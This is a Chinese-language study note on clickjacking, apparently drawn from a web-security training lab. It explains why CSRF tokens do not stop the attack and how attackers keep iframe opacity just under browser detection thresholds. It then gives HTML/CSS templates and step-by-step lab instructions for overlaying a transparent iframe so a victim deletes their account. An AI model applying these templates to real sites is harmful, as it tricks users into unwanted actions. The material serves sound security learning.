What is clickjacking?
点击劫持是一种基于界面的攻击,通过点击诱饵网站中的其他内容,诱骗用户点击隐藏网站上的可操作内容。
iframe
基于会话的 CSRF 令牌无法缓解点击劫持攻击,因为目标会话是通过从真实网站加载的内容建立的,并且所有请求都在域内发生。CSRF 令牌被放入请求中,并作为正常会话的一部分传递给服务器。与普通用户会话相比,不同之处在于该过程发生在隐藏的 iframe 中。
如何构建基本的点击劫持攻击
CSS:<style>
z-index覆盖顺序 opacity不透明度;
iframe
浏览器透明阈值检测(opacity是否不为0或者小于0.1等):浏览器点击劫持保护可能会应用基于阈值的 iframe 透明度检测(例如,Chrome 版本 76 包含此行为,但 Firefox 不包含)。攻击者选择不透明度值,以便在不触发保护行为的情况下实现所需效果。
- 透明实验的代码
<head>
<style>
#target_website {
position:relative;
width:128px;
height:128px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
position:absolute;
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
...decoy web content here...
</div>
<iframe id="target_website" src="https://vulnerable-website.com">
</iframe>
</body>
Lab: Basic clickjacking with CSRF token protection 基于 CSRF 令牌保护的基本点击劫持
如果这个实验在有参考资料(基于王垠的心法,尽量不要找没有参考的目标且没有教育价值的东西)都无法看懂,说明两点:1.英语阅读极其垃圾;2.基础差到趋近于0。你要好好反思自己的基础,及时弥补还来得及(最好是穿越到古代,其次是当下)。
至于介词不介词的语法不重要,目的是看懂整句话表达的什么意思。作用于 Basic clickjacking上面: with CSRF token protection
此实验包含登录功能和受 CSRF 令牌保护的删除帐户按钮。用户将点击诱饵网站上显示“点击”字样的元素。
要解决此实验,请编写一些 HTML 来构建帐户页面并欺骗用户删除其帐户。删除帐户后,此实验即告解决。
您可以使用以下凭据登录自己的帐户:wiener:peter
登录目标网站上的帐户。
转到漏洞利用服务器并将以下 HTML 模板粘贴到 Body 部分:
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-account"></iframe>
对模板进行以下调整:
将 iframe src 属性中的 YOUR-LAB-ID 替换为您的唯一实验室 ID。
将 iframe 的 $height_value 和 $width_value 变量替换为合适的像素值(我们建议分别为 700px 和 500px)。
将诱饵网页内容的 $top_value 和 $side_value 变量替换为合适的像素值,以便“删除帐户”按钮和“测试我”诱饵操作对齐(我们建议分别为 300px 和 60px)。
设置不透明度值 $opacity 以确保目标 iframe 是透明的。最初,使用 0.1 的不透明度,以便您可以对齐 iframe 操作并根据需要调整位置值。对于提交的攻击,0.0001 的值将起作用。
单击“存储”,然后单击“查看漏洞利用”。
将鼠标悬停在“测试我”上,确保光标变为手形,表示 div 元素的位置正确。请勿亲自单击“删除帐户”按钮。如果这样做,实验室将被破坏,您需要等到它重置后才能重试(大约 20 分钟)。如果 div 排列不正确,请调整样式表的顶部和左侧属性。
将 div 元素正确排列后,将“测试我”更改为“Click me 单击我”,然后单击“存储”。
单击“将漏洞利用传递给受害者”,实验室应该就解决了。